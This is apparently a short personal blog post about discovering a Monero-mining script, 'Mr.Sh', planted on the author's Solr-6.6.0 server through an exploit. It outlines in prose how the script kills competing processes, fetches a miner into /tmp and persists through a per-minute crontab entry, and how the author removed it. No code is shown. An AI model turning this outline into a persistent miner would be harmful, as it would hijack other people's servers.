In 2017, I zero-to-one’d a YouTube search site that helps users navigate channels with really long videos using an index on caption data.

The search used Solr-6.6.0 to store and retrieve the indices on the caption data. I knew that Solr used a lot of RAM, but I didn’t expect it to start consuming 15% of my server’s CPU after just a few days of launching my site.

While unexpected, 15% CPU consumption did not set off any red flags. If I were paying closer attention however, the sudden spike in usage should have notified me of a problem. I stopped paying attention for a few months until I started getting emails about 100% usage.

Unbeknownst to me, someone used an exploit in Solr-6.6.0 to run an sh script on my server that mines Monero and for some reason they decided to increase their hash power from an unnoticeable 15% CPU to a crippling 100%.

Here is an overview of how the script worked:

Kill9 all processes that consume >40% CPU Kill9 any prexisting malware (caused by running this script earlier) Download the monero miner to /tmp and run it Make a crontab to redownload and rerun this sh script every minute.

The script was called Mr.Sh and it was infuriating to watch in htop. Every time I tried to kill the mining process, it would just re spawn a minute later. The only lead I had to go off of was the flurry of procs that spun up directly before my CPU went back to being a space heater.

I ended up making a screenshot time lapse of htop throughout the cycle and I then frame by frame analyzed it until I saw the curl process that downloaded mr.sh

I curled in mr.sh myself and finally found how it kept evading my eradication efforts: crontab . All I had to do after that was use crontab -e to edit the crontab file and delete the curl call from it. Here is what the cron looked like.

Anyway, that is the story of the first malware I’ve ever found on a linux server.